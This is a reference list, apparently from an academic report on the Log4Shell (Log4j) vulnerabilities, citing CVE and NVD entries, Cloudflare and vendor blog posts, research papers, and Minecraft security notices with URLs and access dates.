CloudFlare (2022). What is a denial-of-service attack? Available at:
https://www.cloudflare.com/learning/ddos/glossary/denial-of-service/. Access date:
September 4, 2022.
Cloudflare (2022). What is a WAF? — Web Application Firewall explained. Available
at: https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/.
Access date: September 12, 2022.
Everson, D., Cheng, L., and Zhang, Z. (2022). Log4shell: Redefining the Web Attack
Surface. In NDSS.
Graham-Cumming, J. (2021). Inside the Log4j2 vulnerability (CVE-2021-44228).
The Cloudflare Blog. Available at: https://blog.cloudflare.com/inside-the-log4j2-
vulnerability-cve-2021-44228. Access date: August 28, 2022.
Graham-Cumming, J. and Martinho, C. (2021). Exploitation of Log4j CVE-2021-
44228 before public disclosure and evolution of evasion and exfiltration. The Cloud-
flare Blog. Available at: https://blog.cloudflare.com/exploitation-of-cve-2021-44228-
before-public-disclosure-and-evolution-of-waf-evasion-patterns. Access date: August
28, 2022.
Hiesgen, R., Nawrocki, M., Schmidt, T. C., and Wählisch, M. (2022). The Race to the
Vulnerable: Measuring the Log4j Shell Incident. arXiv preprint arXiv:2205.02544.
Initiative, Z. D. (2021). CVE-2021-45105: Denial of Service via Un-
controlled Recursion in Log4j StrSubstitutor. Zero Day Initiative. Avail-
able at: https://www.zerodayinitiative.com/blog/2021/12/17/cve-2021-45105-denial-
 of-service-via-uncontrolled-recursion-in-log4j-strsubstitutor. Access date: September
4, 2022.
Kapon, B. (2022). Remediation vs. mitigation — third-party vulnerability management.
Cyberpion. Available at: https://www.cyberpion.com/blog/remediation-vs-mitigation.
Access date: September 6, 2022.
Levine, J. and Okamoto, S. (2022). Sanitizing Cloudflare Logs to protect cus-
tomers from the Log4j vulnerability. The Cloudflare Blog. Available at:
https://blog.cloudflare.com/log4j-cloudflare-logs-mitigation. Access date: September
12, 2022.
Menashe, S., Peles, O., and Hollander, O. (2021). Log4j Log4Shell 0-Day Vulnerability:
All You Need To Know. JFrog. Available at: https://jfrog.com/blog/log4shell-0-day-
vulnerability-all-you-need-to-know. Access date: September 2, 2022.
Miessler, D. (2021). The Subsequent Waves of log4j Vulnerabilities Aren’t as Bad
as People Think. Available at: https://danielmiessler.com/blog/the-second-wave-of-
log4j-vulnerabilities-werent-nearly-as-bad-as-people-think. Access date: September
7, 2022.
Minecraft (2022a). Get Minecraft. Available at: https://www.minecraft.net/en-us/get-
minecraft. Access date: September 15, 2022.
Minecraft (2022b). How to play minecraft: Java edition multiplayer. Avail-
able at: https://help.minecraft.net/hc/en-us/articles/4410317081741-How-to-Play-
Minecraft-Java-Edition-Multiplayer. Access date: September 17, 2022.
Minecraft (2022c). Important Message: Security vulnerability in Java Edition. Available
at: https://www.minecraft.net/en-us/article/important-message–security-vulnerability-
java-edition. Access date: September 15, 2022.
MITRE (2021a). CVE-2021-44228. Available at: https://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2021-44228. Access date: August 25, 2022.
MITRE (2021b). CVE-2021-44832. Available at: https://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2021-44832. Access date: August 30, 2022.
MITRE (2021c). CVE-2021-45046. Available at: https://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2021-45046. Access date: August 30, 2022.
MITRE (2021d). CVE-2021-45105. Available at: https://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2021-45105. Access date: August 30, 2022.
NCSC-NL (2022). Log4shell vulnerabilities (CVE-2021-44228, CVE-2021-45046,
CVE-2021-4104, CVE-2021-45105). Available at: https://github.com/NCSC-
NL/log4shell. Access date: August 28, 2022.
NIST (2021a). CVE-2021-44228 Detail. National Vulnerability Database. Available at:
https://nvd.nist.gov/vuln/detail/CVE-2021-44228. Access date: August 28, 2022.
NIST (2021b). CVE-2021-44832 Detail. National Vulnerability Database. Available at:
https://nvd.nist.gov/vuln/detail/CVE-2021-44832. Access date: August 30, 2022.
NIST (2021c). CVE-2021-45046 detail. National Vulnerability Database. Available at:
https://nvd.nist.gov/vuln/detail/CVE-2021-45046. Access date: August 30, 2022.
NIST (2022). Software Vulnerability. Available at:
https://csrc.nist.gov/glossary/term/Software Vulnerability. Access date: Septem-
ber 27, 2022.
Point, C. (2021). The Numbers Behind Log4j Vulnerability CVE-2021-44228.
Available at: https://blog.checkpoint.com/2021/12/13/the-numbers-behind-a-cyber-
pandemic-detailed-dive. Access date: September 21, 2022.
PortSwigger (2022). Information disclosure vulnerabilities. Available at:
https://portswigger.net/web-security/information-disclosure. Access date: September
4, 2022.
Sabato, S., Yom-Tov, E., Tsherniak, A., and Rosset, S. (2007). Analyzing system logs:
A new view of what’s important. In 2nd USENIX workshop on Tackling Computer
Systems Problems with Machine Learning Techniques.
Silverman, M. (2022). Log4Shell Proof of Concept. Available at:
https://github.com/dogeared/log4shell-poc. Access date: September 17, 2022.
Studiawan, H., Sohel, F., and Payne, C. (2019). A survey on forensic investigation of
operating system logs. Digital Investigation, 29:1–20.
Turunen, I. (2021). Log4shell by the numbers- why did cve-2021-44228 set the internet
on fire? Sonatype. Access date: August 28, 2022.
Wechsler, H. (2021). CVE-2021-44832: A New Medium Severity Vulnerability Was
Found in Log4j. Mend. Available at: https://www.mend.io/resources/blog/log4j-
vulnerability-cve-2021-44832. Access date: August 30, 2022.
Wetter, J. and Ringland, N. (2021). Understanding the Impact of Apache Log4j Vulner-
ability. Available at: https://security.googleblog.com/2021/12/understanding-impact-
of-apache-log4j.html. Access date: September 19, 2022.